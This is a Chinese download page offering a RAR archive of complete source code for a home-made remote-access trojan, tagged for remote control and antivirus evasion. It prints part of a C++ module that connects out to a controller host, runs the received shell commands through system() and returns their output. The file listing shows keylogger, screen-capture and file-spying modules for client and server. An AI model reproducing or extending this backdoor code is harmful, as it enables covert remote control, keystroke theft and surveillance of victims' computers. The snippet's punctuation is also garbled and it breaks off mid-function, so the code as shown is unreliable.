• 大小: 13.64MB
    文件类型: .rar
    金币: 2
    下载: 1 次
    发布日期: 2024-03-13
  • 语言: 其他
  • 标签: 远控  免杀  

资源简介

从零开始做远控 完满结束 发布完整源代码及已编译好的程序

资源截图

代码片段和文件信息

#include “cmdspy.h“

// 互挤体,用来确保线程安全
static CRITICAL_SECTION gCs;
// 初始化类
static CmdSpy gSpy;
// 临时饭后信息保存路径
static std::string gTmpReturnFile = “cmd_return.tmp“;

CmdSpy::CmdSpy()
{
    // 初始化互挤体
    InitializeCriticalSection(&gCs);
}

CmdSpy::~CmdSpy()
{
    // 删除互挤体
    DeleteCriticalSection(&gCs);
}

void CmdSpy::startByNewThread(std::string domain int port)
{
    // 将域名和端口数据转换成一个字符指针类型
    char *args = new char[MAX_PATH+sizeof(int)];
    domain.reserve(MAX_PATH);
    memcpy(argsdomain.data() MAX_PATH);
    memcpy(args+MAX_PATH(char*)&port sizeof(int));

    // 创建新线程
    HANDLE h = CreateThread(NULL0 CmdSpy::threadProc(LPVOID)args0NULL);
    if (!h) {
        std::cout << “Failed to create new thread“ << std::endl;
        std::fflush(stdout);
    }
}

DWORD CmdSpy::threadProc(LPVOID args)
{
    char domain[MAX_PATH];
    memcpy(domain args MAX_PATH);
    int port = *((int*)((char*)args+MAX_PATH));

    // 开始监控
    startCmdSpy(domain port);

    // 释放参数
    delete (char *)args;
    return true;
}

void CmdSpy::startCmdSpy(std::string domain int port)
{
    // 创建socket并连接至服务端
    TcpSocket sock;
    if (!sock.connectTo(domain port)) {
        std::cout << “Failed to connect cmd spy server “ <<
                     domain << “:“ << port << std::endl;
        std::fflush(stdout);
        return;
    }

    // 开始监控消息
    std::cout << “Started cmd spy“ << std::endl;
    std::fflush(stdout);

    // 死循环,不断从服务端接收数据
    const int packetSize = 800;
    char szData[packetSize];
    int ret;
    std::string buf;

    while (1) {
        ret = sock.recvData(szData packetSize);

        // 出现错误
        if (ret == SOCKET_ERROR || ret == 0) {
            break;
        }

       // 把数据加入到缓冲区
       addDataToBuffer(&sock buf szData ret);
    }

    // 完成
    std::cout << “Finished cmd spy“ << std::endl;
    std::fflush(stdout);
}

void CmdSpy::addDataToBuffer(TcpSocket *sock std::string &buf char *data int size)
{
    buf.append(datasize);

    // 把数据转换成指令模式
    int endIndex;
    while ((endIndex = buf.find(gSpy.CmdEnd)) >= 0) {
        std::string cmd = buf.substr(0endIndex);
        buf.erase(0 endIndex+gSpy.CmdEnd.length());

        // 处理指令
        std::string retData = execCmd(cmd);
        // 发送Cmd命令返回数据到服务端
        sock->sendData(retData.data() retData.size());

        // 发送当前文件位置
        std::string pwd = gSpy.CmdPwd;
        pwd.append(gSpy.CmdSplit);
        pwd.append(getPWD());

        // 发送Cmd命令返回数据到服务端
        sock->sendData(pwd.data() pwd.size());
    }
}

std::string CmdSpy::execCmd(std::string cmd)
{
    // 锁定函数,其他线程不能进来
    EnterCriticalSection(&gCs);

    // 执行指令,然后保存在临时文件
    system(cmd.append(“ > “).append(gTmpReturnFile).data());

    // 打开临时文件
    FILE *fp = fopen(gTmpReturnFile.data() “rb“);
    if (!fp) {
        std::cout << “Failed to open return file of cmd\n“;
        std::fflu

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----

     文件       3969  2016-12-25 15:47  2017测试远控完整代码\QT_ZeroClientr\cmdspy.cpp

     文件        961  2016-12-25 14:50  2017测试远控完整代码\QT_ZeroClientr\cmdspy.h

     文件      13714  2016-12-25 12:53  2017测试远控完整代码\QT_ZeroClientr\filespy.cpp

     文件       3525  2016-12-24 08:57  2017测试远控完整代码\QT_ZeroClientr\filespy.h

     文件       1378  1997-10-18 15:41  2017测试远控完整代码\QT_ZeroClientr\jpeg\jconfig.h

     文件      12717  2014-09-03 11:55  2017测试远控完整代码\QT_ZeroClientr\jpeg\jmorecfg.h

     文件      47339  2016-12-21 08:02  2017测试远控完整代码\QT_ZeroClientr\jpeg\jpeglib.h

     文件     235030  2014-04-05 15:23  2017测试远控完整代码\QT_ZeroClientr\jpeg\libjpeg.lib

     文件       7116  2016-12-25 12:53  2017测试远控完整代码\QT_ZeroClientr\keyboardspy.cpp

     文件       1512  2016-12-22 15:24  2017测试远控完整代码\QT_ZeroClientr\keyboardspy.h

     文件       1669  2016-12-26 14:52  2017测试远控完整代码\QT_ZeroClientr\main.cpp

     文件       9188  2016-12-23 12:36  2017测试远控完整代码\QT_ZeroClientr\screenspy.cpp

     文件       1378  2016-12-21 14:42  2017测试远控完整代码\QT_ZeroClientr\screenspy.h

     文件       3746  2016-12-24 11:08  2017测试远控完整代码\QT_ZeroClientr\tcpsocket.cpp

     文件        910  2016-12-24 10:55  2017测试远控完整代码\QT_ZeroClientr\tcpsocket.h

     文件       8162  2016-12-25 14:27  2017测试远控完整代码\QT_ZeroClientr\zeroclient.cpp

     文件       2400  2016-12-25 13:11  2017测试远控完整代码\QT_ZeroClientr\zeroclient.h

     文件        331  2016-12-25 12:01  2017测试远控完整代码\QT_ZeroClientr\ZeroClient.pro

     文件      23669  2016-12-26 15:07  2017测试远控完整代码\QT_ZeroClientr\ZeroClient.pro.user

     文件       4087  2016-12-25 17:16  2017测试远控完整代码\QT_ZeroServerc\cmdspy.cpp

     文件       1586  2016-12-25 17:14  2017测试远控完整代码\QT_ZeroServerc\cmdspy.h

     文件      14477  2017-05-23 15:38  2017测试远控完整代码\QT_ZeroServerc\filespy.cpp

     文件       4341  2017-05-19 10:02  2017测试远控完整代码\QT_ZeroServerc\filespy.h

     文件       4122  2016-12-24 17:47  2017测试远控完整代码\QT_ZeroServerc\filetransfer.cpp

     文件       1375  2016-12-24 17:44  2017测试远控完整代码\QT_ZeroServerc\filetransfer.h

     文件       1784  2016-12-23 17:59  2017测试远控完整代码\QT_ZeroServerc\keyboardspy.cpp

     文件        984  2016-12-22 17:42  2017测试远控完整代码\QT_ZeroServerc\keyboardspy.h

     文件        199  2016-12-19 12:00  2017测试远控完整代码\QT_ZeroServerc\main.cpp

     文件       5064  2016-04-24 09:10  2017测试远控完整代码\QT_ZeroServerc\resources\cmdspy.png

     文件       8132  2016-04-24 09:13  2017测试远控完整代码\QT_ZeroServerc\resources\filespy.png

............此处省略109个文件信息

评论

共有 条评论